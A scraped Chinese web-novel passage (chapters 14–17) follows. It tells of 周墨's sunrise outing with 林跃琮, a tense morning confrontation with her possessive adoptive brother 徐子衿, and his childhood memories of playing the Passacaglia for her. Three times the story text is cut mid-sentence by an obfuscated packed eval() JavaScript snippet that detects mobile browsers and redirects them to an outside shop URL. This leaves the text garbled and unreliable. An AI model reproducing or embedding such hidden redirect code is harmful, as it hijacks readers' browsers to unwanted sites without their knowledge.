林跃琮这人,总是能最精准地抓住别人的痛点和软肋。 “林跃琮,你真无聊。” 周墨转个了身面向车门方向,改平躺为侧躺。 林跃琮一直注视着周墨,他没等到否定的答案,眼中笑意渐深。 将天窗关掉,他温声道:“睡吧,等日出了我叫你。” 周墨认床,在车上就更不可能睡好。 好在现在外面温度适宜,在车里将窗子开一道浅浅的缝隙,不会太冷也不会闷热。 天色蒙蒙亮时,林跃琮将周墨推醒。 周墨艰难地睁开眼,看到林跃琮的一张笑脸。 他笑得眉眼轻扬,眸光清亮,竟显出几分少年气,是周墨极少见到的样子。 “周墨,你快看。” 林跃琮指向窗外。 周墨顺着他指的方向回头,透过车窗看见海平面一线缓缓升腾的金色,将水面映得碎金万顷,灿若琉璃。 周墨一瞬间睡意全无。 没有人不会为大自然的壮美蛰伏,她立刻打开车门跳下车,拿出手机录像。 咔嚓一声,是手机相机的快门声。 周墨回头,见林跃琮正在用手机拍自己。 “你拍我干什么?” “漂亮。” “大老远来看日出,这会儿又不好好看。” “我说的就是日出很漂亮。” “……” 周墨觉得自己真的是记吃不记打。 明知道林跃琮是个什么货色,还总是一次又一次地中了他的套。 “林跃琮,你真的很讨厌。” 林跃琮在一旁笑,脱了鞋袜,将裤腿卷起来。 然后又去脱周墨的鞋袜。 “喂,林跃琮你又干嘛?别犯病了成……啊!喂!” 周墨一句话还没说完,就被林跃琮打横抱起来,快步向着海边走。 就在离他们不远的地方,有一片小小的沙滩,并不是那种人工沙滩,而是天然形成的。这在天津海岸极难找到,很显然是林跃琮提前算计好,昨天晚上才把车停在这里。 周墨不停捶打,“别闹了,你快放我下来。” 林跃琮不仅不放手,甚至还抱着她原地转了个圈。 “周墨,你知道么,昨天晚上我在心里跟自己打了个赌。如果今天能看到日出,无论你说什么,无论你对我什么态度,我都会追你。你不喜欢我,我就努力让你喜欢,你觉得我们不在一个世界,我就努力来到你的世界。” 他难得如此欢喜,瞳眸也染上朝阳的热烈。 也不知道是被他转的,还是日出开始晃眼,周墨觉得有点晕,浑身的血液似乎都在往脸颊上冲。 ”只是有一样,周墨。” 林跃琮终于放下她,周墨赤脚站在沙滩上,感受着脚底传来柔软冰凉的触感,身体有一瞬间的颤栗。 她被林跃琮拥在怀中,听见他在耳畔恳求:“给我一次机会,别再轻易推开我了,好不好?“ 14. 014 周墨小时候有个怪毛病,只要脚上沾了沙,就会一秒大哭。 朱美丽和周海山恶趣味发作的时候,经常会故意将她赤脚抱到沙滩上。 不知道从什么时候开始,周墨不会再哭了,但是不喜欢脚上沾沙的习惯,还是没改。 “周墨,给我一次机会,别再轻易推开我,好不好?”林跃琮声音温柔,带着诱哄,用充满他气息与掌控的网,将她严丝合缝地包裹住。 片刻的静默后,周墨轻轻吐出两个字:“难受。” 林跃琮愣了一下。 这个答案出乎预料,让他的所有预判全部落空。 “你说什么?”他因为不理解,甚至怀疑是自己听错,将周墨转过来。 周墨抬眼看他,眉轻蹙,很不爽的样子。 “难受,脚上都是沙子。林跃琮,你不知道我讨厌沙子么?” 海边沙滩的日出,世界似乎只有两人的旖旎氛围,这堪比韩剧名场面的表白场景,被周墨一句话破坏殆尽。 相比于迎合,周墨更遵从自己的体验。 她不想做漂亮剧本里的木偶。 林跃琮沉默注视着她,表情复杂,最后有些无力地说:“抱歉,我忘记了。” “没关系,我们现在可以走了么?” 太阳彻底跃出海平面,日出虽美,却很短暂。 这终究不过是无数平凡日子的其中一天。 林跃琮又重新将周墨抱起,这次她没有挣扎。 他们回到车边,林跃琮打开后备箱,将周墨放上去,然后从车里取出两瓶常备的矿泉水,单膝跪地为周墨洗脚。 周墨向来只见过林大公子被人伺候,哪见过他伺候别人。 “我自己来吧。”她躲闪着,想要从林跃琮手中接过矿泉水。 林跃琮却将她手按住,不由分说,继续给她冲洗。 周墨的皮肤很白,常年不见光的脚更是白得晃眼,只在足尖透出一点粉红。 林跃琮的手捏在她脚踝处,眸色渐深,不过最终还是遏住内心的妄念,没做什么出格的举动。 他怕了,怕再次弄巧成拙。 林跃琮将周墨脚上的沙子全都冲干净,又用自己的衣服将水擦干,然后为她穿上鞋袜。 周墨脸有点发热,向一旁撇开头,不去看林跃琮。 林跃琮将她收拾妥当,才去冲洗自己脚上的沙。 两人都整理好了,重新坐回前排。 现在还不到早上六点,周墨这时才发现手机昨晚上电量耗尽,自动关机了。 她用车上的充电器给手机充上电。 手机开机的瞬间,一下进来一百多条短信,全都是漏话提醒。 来电显示都是同一个人——徐子衿。 周墨心里忽然发毛,她盯着微信图标的99+红色消息提醒,一时间竟然不敢打开。 林跃琮发动了车。 引擎轰鸣震动,车子却没有走。 周墨后知后觉抬头,发现林跃琮正看着自己。 “不回个电话?” 周墨将手机屏幕倒扣,“时间太早了,估计都没起床,算了吧。” 林跃琮没再追问下去,他车技很好,回程开得又稳又快。 周墨终于鼓起勇气,再次将手机翻过来,点开了微信。 果然,来自徐子衿的未读消息有一百多条。 周墨点开了对话框,一眼扫过,将消息内容总结为四个阶段。 第一个阶段是在她昨晚离开家半小时之内,这时候徐子衿的情绪看起来还算稳定。 徐子衿:【怎么还没回来,被绑架了么?】 徐子衿:【人呢?】 徐子衿:【你在哪里?】 徐子衿:【还和他在一起?】 …… 第二个阶段是在她离开家两小时之后,徐子衿的情绪似乎在逐渐失控。 徐子衿:【林跃琮家里没人,也不在红松资本,他带你去哪里了?】 徐子衿:【为什么不回消息,林跃琮也不回消息,你俩是私奔了么?还是死了?】 徐子衿:【回复我。】 徐子衿:【再不回消息,我会报警。】 …… 第三个阶段,是在昨晚凌晨一点到三点,也是徐子衿消息发得最密集的时间段,伴随着无数语音呼叫,周墨几乎可以感觉到徐子衿那双又黑又沉的眼,正穿透屏幕盯住自己。 徐子衿:【他把你弄去哪儿了】 徐子衿:【今晚不打算回来了吗?】 徐子衿:【我报警了,但是警方说失踪不满48小时,呵呵,还想失踪48小时】 徐子衿:【小墨,哥哥很担心你,不要在外面乱跑了,好不好?】 徐子衿:【早点回家,我在楼下接你】 …… 第四个阶段,是在一个小时之前,只有一条消息,也是最让周墨心惊肉跳的。 徐子衿:【一点也不听话,真该在你身上安个定位器。】 周墨:“……” 看得出来,徐子衿真的生气了,很生气很生气。 奈何周墨手机设置了免打扰模式,晚上十点以后手机就会静音,所以没能第一时间接收到养兄的怒火。 将徐子衿的所有消息都看完,消耗了周墨太多精神力,她注意到下面还有未读提醒,是岳朗发来的。 岳朗只发了三条消息。 岳朗:【还没起吧,我马上登机了,走的时候太早,就没叫你】 岳朗:【飞机上看到的日出,是不是很美?】 后面是一张从飞机舷窗向外拍摄的日出照片。 辽阔无垠的云层像是万里冰封的雪川,天际线处红日跃出,金光铺洒而下,云层间隙中透出块块金红。 周墨看着这张照片,不禁想到以前岳朗做远洋船员的那段时间。 远洋船上没有信号,所以岳朗经常几个月没消息,像是人间蒸发了一样。 周墨当初特意在网上查过,知道远洋船很危险,特别是岳朗常跑的那几条航线,海盗猖獗,地缘冲突频发,所以每当岳朗消失的那段时间,她都会提着一颗心。 而岳朗每逢靠岸恢复通讯,都会第一时间用Q^Q给她发来各种各样的照片,其中大部分是海上日出日落的照片,还有鲸群,海豚和海鸟迁徙的照片。 每一张照片上,还会标注当时的经纬坐标。 作为备战高考的文科生,周墨会将岳朗发来的每一张照片保存好,然后对照着坐标去地图上确认海域位置,碰到高考热门区域,她还会顺便给岳朗讲一下当地海域的地理特征,比如日出日落时间,风向和洋流运动轨迹。 权当温故而知新。 一开始周墨还只是用文字给岳朗的□□留言,等岳朗上线后,再留言给她。两人一次对话,经常要跨越几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17104320|195558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个月的时间。后来岳朗但凡有机会,都会和周墨Q^Q连线视频,短则几分钟,长则几十分钟。 那个时候,周墨还不知道,岳朗为了能和她视频一次,究竟要付出多少代价。 垂眼看着手机上的图片,周墨唇角不自觉扬起,眼底似乎也被那照片里的阳光染上暖色。 周墨回复:【嗯,很美,很震撼。】 林跃琮看起来在专心开车,实际上注意力一直在周墨身上。 所以他自然不会忽略她此时唇角温柔的笑意。 对别人就是小甜甜,对他就是牛夫人。 林跃琮觉得气闷,降下主驾的车窗。 冷风灌进来,吹得周墨额前碎发浮动。 她将目光从手机屏幕收回,侧头看了林跃琮一眼,“怎么,困了么?要是困了就换我开吧,你歇会儿。” 林跃琮哼了一声,“原来你也知道关心我。” 周墨:“别误会,我只是惜命,怕你疲劳驾驶。” 林跃琮叹息:“周总,现在想听你说句好听的,可真难。” 周墨有样学样:“忠言逆耳啊,林总。” 两人之间的气氛似乎轻松了不少,林跃琮忽然又严肃地唤了一声:“周墨。” 周墨重新紧张起来,很怕林跃琮旧事重提。 好在林跃琮说的不是之前在海边说的那件事。 “要不是卫青青求到你头上,你应该不知道我是做什么的吧。” 周墨愣了一下,故意打趣道:“确实,上次吃饭的时候,我还以为您老是在哪个机关里做人民公仆呢。” 林跃琮却没有笑,淡声道:“毕业以后,我没有遵从家里的意思去考公。” 周墨轻轻“哦”了一声,没接话。 林跃琮自嘲地笑了笑:“你不问我为什么?” 像是林家这样的背景,最被看好的后辈却没走从政的路子,的确不正常。 可周墨不想听林跃琮将那个原因说出来。 左右一个人的命运抉择,这责任太重,她不想背负。 林跃琮是聪明人,见周墨沉默,便只是点到为止。 他不愿去渲染当初修改志愿的时候,家里闹得怎样鸡飞狗跳。 那些没有她参与的过去,对他来说已经没有任何意义。 他也不奢求她的心疼与怜惜,那毕竟是他自己的选择。 总归一直到送周墨回家,两人都没有再说什么。 车子停在小区门口,周墨便要下车。 “不用我送你进去?” “不用了,你不是还要去上班么,这个时间三环和四环都堵成狗,你还要开到国贸那边,就别再耽搁时间了。” 林跃琮见周墨眼神躲闪,一副做贼心虚的模样,立刻就知道她打的什么鬼主意。 他这会儿倒是不急了,一手搭在方向盘上,好心道:“还是送你进去吧,从小区门口到你家楼下,还得走挺远。” “真不用,你快走吧。”周墨急着将人打发走。 林跃琮冲她身后一扬下巴,“徐子衿。” 周墨一瞬间石化,眼睛瞪大。 林跃琮看着她,低笑出声。 周墨立刻意识到自己中计了,回头一看果然什么也没看到。 “周墨,你现在像个想努力藏匿奸''夫的淫''妇。” 周墨:“……” 滚啊你,林跃琮死变态。 15. 015 周墨一路进小区都在探头探脑,像个形迹可疑的贼。 直到单元门口,没看到徐子衿的身影,才算松了口气。 她有些懊恼,不明白从什么时候开始竟然那么怕徐子衿。 明明小时候她是既周美丽之后,第二个敢打他的人。 用门卡刷开单元门,周墨正准备溜进去,忽听身后一个声音:“还知道回来。” 周墨魂差点吓飞,转过身盯着徐子衿:“你,你从哪里冒出来的?” 徐子衿身上还穿着昨天的衣服,脸色很不好看,眼底带着淡淡的青黑,像是熬了一宿没睡。 他站得离周墨很近,几乎将她抵在单元门上。 “昨晚去哪儿了?”徐子衿语气淡淡,看起来十分平静。 可周墨却感觉到危险,下意识扯谎:“昨天晚上……我送完了林跃琮,去了卫青青家。” “哦,卫青青家么?”徐子衿轻声重复。 “嗯,对。她和她爸又吵架了,喝多了,我就过去陪陪她,然后……然后手机静音,一直没注意看消息。后来手机没电了,就自动关机了,我早上才看到你给我发的消息。” 似乎为了掩盖心虚,周墨顿了顿,又加了一句:“抱歉啊哥,让你担心了。” 徐子衿一言不发,只安静垂眸看着她。 沉凝的气场压得周墨心口发紧,为了缓解压力,她没话找话地问:“你什么时候跟上我的呀?我居然一点都没察觉。” 徐子衿唇角极轻浅地勾了下,“你从林跃琮的车上下来的时候。” 周墨:“………………” 周墨知道徐子衿很阴,但是没想到能阴成这样。 她的脸迅速涨红,仰头叉腰,冲他吼道:“你既然早就知道,还由着我在这里胡编乱造,看戏很有意思?怎么一肚子坏水!” 好像徐子衿真的做了什么人神共愤的坏事一样。 她吼完就心虚,想跑,却被徐子衿抓着手腕拽回来。 徐子衿就没见过这么可恶的女孩子。 “恶人先告状,还告得这么理直气壮,周墨,有的时候真想打开你的脑子看看,里面到底什么构造。” 就像每一个不服兄长管教的叛逆少女,周墨干脆破罐子破摔,用力挣开徐子衿。 “我都成年了,现在就算夜夜笙歌,也没人能把我怎么着。朱美丽都不管我,你凭什么这样管我?” 她转身,重新用卡刷开单元门。 徐子衿自她身后,单手将门按住。 砰的一声,单元门重重关合,重新落锁。 徐子衿的手就按在周墨耳边,她听见他在身后轻笑一声。 “我凭什么?凭小时候你被妈揍,是我替你挡着,凭我是你哥,你补课不敢走夜路,是我去接你。你以为这次妈没把你手机打爆,是因为不管你么?那是因为我跟她说你临时有事去找卫青青,她这才安心睡下了。” 也是凑巧,这时周墨的手机刚好来电,是朱美丽。 按了接通键,对面传来朱美丽精神抖擞的声音:“喂,小墨呀,还在青青那里么?” 周墨转过身,看了徐子衿一眼,含糊地应了一声。 真不愧做了十年的兄妹,连撒谎都能想到一处。 朱美丽说:“正好,你问问她今天有没有空,要是有时间就来家里吃晚饭,我给她做麻辣小龙虾。” 周墨说:“行,那我问问她吧。” 结束和朱美丽的通话,周墨忽然觉得有点对不住徐子衿。 “谢谢啊,哥。我不该没消息就夜不归宿的。” 她怂怂地认错,看起来很乖。 徐子衿的眼里没有笑意。 “成年了,我就不能担心你了么? “不是的,哥……” 周墨想为自己辩解,想说刚刚也只是恼羞成怒之下的口不择言。 可徐子衿却打断她,他沉沉的目光落在她脸上,严肃得叫人怕。 “周墨,你想过那种夜夜笙歌的日子,除非我死。” “哎,我就那么一说……” “还有,不要和林跃琮在一起。” 周墨这回愣住,脱口而出:“为什么?” 徐子衿眸底沉落,说出的话也如一枚石子,打在静湖,在周墨心底激起涟漪。 “他给不了你幸福。” 林跃琮和她不一样,他们站在两个世界,哪怕离得再近,也是平行线的关系。 这一点,周墨在十五岁那年就明白。 “切,谁要和他在一起,你想多了。卫青青想要拿红松资本的法务代理,让我帮忙走林跃琮的门路,他就用这个要挟我,带我去天津海边吹了一晚上的风。” “真的?” “真的,骗你小狗。” 周墨打了个哈欠,转身就要进单元门,却被徐子衿拉回来。 “又干嘛呀。” 周墨很困,只想回床上补觉。 徐子衿无奈叹了口气,“你和妈怎么说的?你现在还在卫青青家呢。” 周墨瞬间吓精神了,“对啊……” 徐子衿抓住周墨手腕,拖着她往小区外面走。 周墨忙问:“哎,干什么去?” “吃早饭了么?” “没有……” “所以带你去,先喂饱你,再说其他的。” “还有其他的?!”周墨惊恐。 “检查不写了么?” “拜托啊大哥,我都多大了,还要写检查……” 徐子衿清清冷冷的目光瞥过来。 周墨秒怂:“行吧行吧,我写,我写还不行么。” 这是两人之间的“君子协定”,无论闹多大的矛盾,最后复盘完了,有错的那一方都要写检查,并且交给对方审阅。 依稀记得最近一次写检查,还是周墨大三那年,不过那次负责写的人是徐子衿,他把周墨惹哭了,哭得很凶。 算算时间,一晃已经过去三年多。 小区西门有一家紫光园,两人进去吃早餐,周墨一口气喝了半碗小米粥,两个牛肉包子外加一个茶叶蛋,感觉自己总算活过来了。 “你看我干嘛呀?怎么不吃?” 周墨发现徐子衿盯着自己,他点的豆浆油条几乎没怎么动 “看你吃就饱了,真能吃。”徐子衿可没有某人心那么大,余怒未消。 周墨却洋洋得意道:“这说明我消化系统健康强大,反倒是哥哥你,这把年纪就吃不下东西了,可要小心,不然各方面功能都要衰退的。” 她意有所指,目光向下游离。 徐子衿脸黑了,偏偏他是哥哥,没法说出“你试试看我行不行”之类的骚话。 真是有恃无恐。 周墨吃饱喝足,想起朱美丽的指令,拿起手机给卫青青打电话,跟她说已经跟林跃琮提了法务代理的事,并且转达了朱美丽女士的盛情邀约。 “你有空么?晚上能不能来?” “美丽阿姨的饭,我就算人在美国也要坐火箭回来吃的! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17113412|195558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”卫青青咋咋呼呼道。 “对了,你还得帮我圆个谎,我昨晚没回家,跟朱美丽女士说我住你家了……” “哎呦?姐妹这是有情况啊!” 晨光斜斜淌进窗沿,餐桌上还留着豆浆的温气和油条的焦香。 徐子衿的目光几乎无法从周墨身上移开。 她此时和卫青青讲着电话,眉眼弯出甜美的弧度,神情间带着饱食后的慵懒。只是随意扎着个丸子头,乍一看乱蓬蓬的,碎发垂在颊边颈侧,被阳光一晃,映出茸茸的金色,整个人看起来都像是在发光。 也不知道卫青青在对面说了什么,她忽然咯咯笑起来。 徐子衿竟也忍不住跟着勾起唇角,心里最后一点不满也烟消云散,只剩一塌糊涂的柔软。 这样细碎又安稳的光景,是他自那年她将手伸向他之后,为他所一直奢求的。 她就是他的光,他的温暖,他的幸福,填满他整颗心脏。 十年的时间,他们以兄妹相称。 可他又何曾有过一刻,真的将她当做妹妹? 徐子衿心里十分清楚,他对周墨是什么感情。 从他第一次梦遗,对象是周墨的时候,就知道。 …… 初三下学期,大家讨论最多的就是想要报考哪所高中。 晚上在周墨家里吃过晚饭,大部分学生走了,只有锦上花园里的孩子继续留下来自习。 陈向远的成绩一直稳定班级前十,考三中和附中有点悬,选择第二档的九中更稳妥。可是他知道周墨会考三中,便格外想要跟她上同一所高中。 他好奇徐子衿会报哪所学校,便凑过去问:“哎,你打算考三中还是附中?” 这两所学校都算是第一梯队,三中略胜一筹,前年出了个全省理科状元,去年出了个全省文科状元。 徐子衿正在做雅思习题,眼也不抬地回答:“家里让我去新加坡读高中。” “新加坡啊,好远。”陈向远嘴上这么感叹,心中却暗自窃喜。 他打小就喜欢周墨,可是有徐子衿这么个长得又骚,学习又好,体育牛逼,又会弹钢琴的对照组在身边乱晃,他感觉他能追到周墨当媳妇的概率约等于零。 把这祸害打包送出国,也挺好。 “哎,你呢,林跃琮,你报哪儿啊?”陈向远又去骚扰另一个假想情敌。 周墨这时被一道数学题难住了,拿着卷子坐到徐子衿身边。 “徐子衿,给我讲讲这道题呗?我看不出应该在哪里画辅助线。” 她满心满眼都是这道难搞的数学大题,没注意到徐子衿和往常相比,有些异状。 他眼神很冷,耳朵尖却红得像是要滴出血来。 在周墨坐过来的一瞬,几乎像是怕被什么脏东西缠上一样,避开老远。 周墨莫名其妙,低头闻了闻自己:“怎么,我身上有什么味道么?” 徐子衿猛地站起身,面无表情道:“我还有事,先回去了。” 他胡乱将雅思习题塞进书包,逃一样离开了周家。 夜色藏匿了少年的躁动,一直走到自家别墅院门口,徐子衿都无法缓解砰然加快的心跳。 他不知道今天早上为什么会做那样的梦,甚至梦的内容也记不太清楚了,可身体是诚实的,那冰凉黏腻的记忆触感,在时时刻刻提醒着他,提醒他应该离周墨远一点。 然而就在刚才,在周墨挨着他坐下那一刻,他很清楚地知道一件事—— 他想吻她。 16. 016 当天晚上,徐子衿将自己锁在琴房,弹了一整晚的《帕萨卡利亚》。 这首曲子是周墨最喜欢的,他至今记得,她第一次听他弹这首曲时的样子。 父亲徐丰年和母亲苏倩工作繁忙,就算是把他放在周家吃饭,经常也是最后来接他的,他只能留在周家写作业。 有的时候时间太晚,他就直接在周家睡下,直到第二天早上才会被苏倩领回去。 小学二年级上学期,徐丰年和苏倩碰巧同时出差,苏倩就去拜托朱美丽,让他在周家暂住一个月。 “朱姐,子衿快参加钢琴等级考试了,能不能再辛苦你们,每天晚上送他回家练习两个小时的钢琴?” 朱美丽豪爽道:“嗐,这有什么辛苦的,我要是抽不开身,就让周墨她爸送他回去练,等练完了再接回来写作业睡觉。” 苏倩万分感激,叹气道:“其实本来不该麻烦你们的,但是我们家在滨市没有别的亲戚了,之前雇过保姆,孩子太小,独自和保姆在家我还是不大放心。” “你就安安心心去忙吧,子衿本来就经常在我家过夜的,也没什么区别。” 徐子衿坐在沙发上,低垂着眼,安静地听着两个长辈聊天,就这样决定了自己未来一个月的归宿。 其实他很不喜欢周家人,觉得他们一家人都很吵,而且总会因为一点鸡毛蒜皮的小事哈哈大笑。 特别是朱美丽阿姨,嗓门大的要命,生气起来也凶巴巴的。 但奇怪的是,母亲苏倩似乎十分喜欢朱阿姨,特别是徐子衿第一次去周家吃饭,被朱美丽胖揍一顿,他妈妈苏倩来接他的时候,看他一脸吃瘪的样子,居然趴在方向盘上笑了半天。 “想不到你小子也有今天。可算有人敢揍你了!”苏倩笑得眉眼都弯起来,好像亲儿子被打,是什么可喜可贺的事情。 那是他第一次见妈妈笑得那么大声,印象里妈妈总是很严肃,每天和爸爸讨论的都是“期货”“交割”之类他听不懂的词。 就连父母经常往来的朋友们,也都和他们一样,每天行色匆匆,永远都在接电话,打电话,像是被什么裹挟着,向前不停不停地奔跑。 于是徐子衿就在周墨家开启了一个月的寄居生活。 他的生活似乎和平常相比也没有什么太大变化,每天晚上吃完饭,周海山都会送他回自己家,等他练习完,再带他回去。 这天晚饭后,周海山接到电话,朋友家里出了点事,请他过去帮个忙,朱美丽也要看着其他孩子,等着他们的父母来接。夫妻两人一时犯了难,不知道该由谁去送徐子衿回家弹琴。 “我自己可以的,等我练完了琴再回来。”徐子衿说。 朱美丽不放心,毕竟那么大的房子,不能让小孩一个人在家。 “我送他去。”周墨自告奋勇,“我带着作业过去!” 徐子衿立刻反对,“为什么要你送?” 周海山笑着摸了摸周墨的头:“就是,小墨自己还是小孩呢。” 周墨却很有理有据,她说得认真:“这个跟是不是小孩没关系的,苏阿姨把徐子衿交给了我们家,那我也是家里的一员,你们都没有时间,就只能由我出面护送他了!” 徐子衿脸上一阵热一阵白的,态度坚决:“我不用你送。” 朱美丽思来想去,最后给出个折中方案:“这样吧,周海山你送子衿和周墨一起过去,让周墨给子衿做个伴,然后等我这边忙完了,我再去接他们俩。” 虽然都是在一个小区,但在朱美丽和周海山的坚持下,徐子衿还是没能实现独自回家的愿望。 快十月底,滨城的天气已经很冷了,夜里最低气温能到零下。 锦上花园里的路灯柱子,隐隐结了一层冰霜,人们走在外面,呼吸会形成一团团白气。 徐子衿跟在周海山身后,周墨又跟在他身后,带着一双手套,鼻尖红红的,怀里抱着一叠作业本和练习册,像个多余的小尾巴。 周海山将两人送进徐家的别墅就走了。 这还是周墨第一次来徐子衿家,完全不了解地形。 空荡荡的大厅内,只有窗外映进来的路灯光,影影幢幢,鬼影一样。 “灯在哪里呀?你怎么不开灯?” 周墨有点怕黑,见徐子衿径直上了楼梯,忙亦步亦趋地跟上去。 “我弹琴时从来不开灯。” 徐子衿其实在说谎,他只是偶尔弹琴不开灯,因为很享受黑暗中弹奏的感觉,但绝对没到“从来不开灯”的程度。 他这样说,只是看出周墨怕黑,想要吓一吓她。 谁让她非得死皮赖脸地跟过来呢。 周墨却信以为真了,她不敢去别处,就只能抱着作业本,在钢琴边乖乖站着。 徐子衿注意到她手中的作业,迟疑了一瞬,终究什么都没说,开始坐下弹琴。 落地窗外高悬着一轮冷月,银色的月光洒在黑白的琴键上,在徐子衿的按动下,流淌出如月光一样清冷安宁的旋律。 一曲弹毕,周墨问:“这是什么曲子呀?” 徐子衿淡淡瞥了周末一眼,“说了你也不知道。” “可是你说了我就知道了呀。”周墨也不生气。 徐子衿顿了顿,才道:“帕萨卡利亚。” 周墨重复了一遍,似乎要努力记住这拗口的名字, “真好听。”她由衷感叹,不吝赞美,“徐子衿,你可太厉害了,弹得真好听呀!能再弹一遍么?” 黑暗中,徐子衿的脸有点发烫。 窗外的光不仅洒在钢琴上,也洒在周墨身上。她的眼睛那么大,那么亮,眼神中的崇拜与羡慕不加掩饰。 徐子衿的父母都是很克制的人,哪怕徐子衿能将比《帕萨卡利亚》难百倍的曲子完美演绎,也只会收到他们一个淡淡的,赞许的微笑。 像周墨这样热烈的回应,他从未体验过。 徐子衿一言不发,却真的将《帕萨卡利亚》又弹了一遍。周墨还想听,他就继续弹,一遍又一遍。 两个多小时后,朱美丽来接他们,见房子里黑黑的,吓了一跳。 “怎么不开灯啊?” 徐子衿赧然,他不知道该如何解释,自己故意不开灯,害得周墨没办法写作业。 可周墨却抢先一步,兴奋地说:“妈妈你不懂的,黑着灯弹琴更有感觉呀,徐子衿特别厉害,弹的曲子特别特别好听!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122506|195558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朱美丽戳了戳周墨的脑袋:“肯定又是你出的鬼主意吧?” 虽然这么说,却也没有真的苛责的意思。 她本来也没指望周墨会在徐子衿家认真写作业。 因为耽误了两个多小时,周墨当天晚上的作业写到很晚。 徐子衿其实早就把自己的作业写完了,却假装没写完,一直陪着她。 接下来的周五,是十一月四号,周墨的生日。 锦上花园的孩子们都给周墨送了生日礼物,包括高他们一个年级的林跃琮。 徐子衿却只给周墨丢了几张纸。 “这是什么?”周墨翻开纸,竟然是五线谱。 “你不是喜欢那首曲子么?这是琴谱,你把谱子背下来,我教你弹。”徐子衿微扬着下巴,恩赐般地说,像个挑剔又高傲的老师。 周墨愣了一下,忽然喜笑颜开:“真的呀!那你得说话算话哦!我记忆力很好的,很快就能背下来的!” 徐子衿从鼻腔里哼了一声,算是回应。 他走到周墨身后,坐回自己的位置,却在周墨注意不到的时候,忍不住偷偷看她,看她和同学们说笑,看她兴奋地拆礼物,看了一眼,忍不住又看一眼,唇角不自觉轻轻勾起。 …… 琴房的门被敲响,打断了徐子衿的回忆,还有他的琴音。 “子衿,是妈妈,我可以进来么?”苏倩的声音从外面传来。 徐子衿淡淡应了声,苏倩端着一盘果切,推门进来。 “子衿,今天怎么反复只弹一首曲子?是有什么心事么?” 苏倩和儿子不算亲密,但也算是个合格的母亲,升学在即,见子衿一日比一日沉默,她以为是因为压力过大,对他的关注也变得多起来。 徐子衿双手从钢琴键盘上拿下来,不动声色地攥成拳。 苏倩看出来他有话要说,便一直在旁边等着。 徐子衿垂眸半晌,忽然抬头看苏倩,目光坚定。 “妈,我不想去新加坡上高中,我想报考三中,继续留在这里上学。” 苏倩很意外,去新加坡读高中的决定,之前也是得到过儿子同意的。 “怎么突然改变主意了?新加坡这所学校更注重综合教育,设置了专门的钢琴课程,和国际各大知名音乐高校也有合作交流,如果在国内上传统高中,你以后钢琴专业的路可能没那么好走了。” “没关系。我可以不走钢琴专业。” “可你从小不就想做职业钢琴家,所有的老师都说你有天赋……” 徐子衿轻声打断苏倩,“妈,我做别的,也很有天赋。” 苏倩语塞,无法反驳。 “既然你考虑清楚了,妈妈支持你的决定。总归之前让你走钢琴专业,也是因为你喜欢。” 徐子衿垂眸看着眼前的黑白琴键,有些出神。 喜欢弹钢琴么? 自然也是喜欢的,可更多的,是因为他不想和人打交道。 弹钢琴算是一个可以远离人群独处的完美借口。 可是如今…… 苏子衿不知想到什么,眼底划过淡淡笑意。 似乎也没那么不喜欢和人打交道了。 17. 017 周墨和徐子衿回到家时,朱美丽正一边哼歌一边收拾餐桌。 徐子衿一眼看到桌面上有两个碗。 “妈,陈向远下来吃早饭了?” “对啊,刚吃完。我们早上吃的打卤面,我现在就去给你煮新的。”朱美丽说着就要进厨房,让徐子衿拦下来。 “不用了妈,刚刚去接周墨,我路上看到豆浆油条不错,就随便吃了点。” 朱美丽碎碎念地训斥:“又在外面乱吃,我在呢,还不多吃几顿家里的饭?” 徐子衿连声应是,眼底尽是暖色:“行,这几天都回家里吃,不在外面乱吃了。” 朱美丽这才满意。 周墨这时也反应过来什么,在房子里找了一圈,问朱美丽:“陈向远他人呢?” 朱美丽说:“走了呀,他说他公司有事,得去处理一下,就不等你们了。” 信他的鬼。 周墨立刻拿出手机进卧室,给陈向远打电话。 徐子衿也跟进来。 对面传来手机不在服务区的提示音。 周墨与徐子衿对视一眼,摇了摇头。 这狗男人,又让他跑了。 怎么领个离婚证就这么难! 办结婚的时候不是挺痛快的么? 徐子衿面色极冷,对周墨说:“收拾一下,我开车带你去他公司。” 周墨摆摆手,“算了,他不可能回公司的,之前去找过几次都不在,他就是故意躲着。” 徐子衿的手机一直震动个不停。 周墨说:“你这创业公司的大老板,别跟我这里耗着了,快去忙吧。” 徐子衿拿出手机看了一眼,去客厅阳台接电话。 周墨也顺便检查自己的工作消息。 刚刚签了个大单,最近也没有什么正在对接的合同,她只要在线上审核一下她工作室旗下公众号和微博账号发布的图文就行了。 所以她打算这几天先把陈向远放一边,好好陪朱美丽。 徐子衿公司里的确有事,他很快就走了。 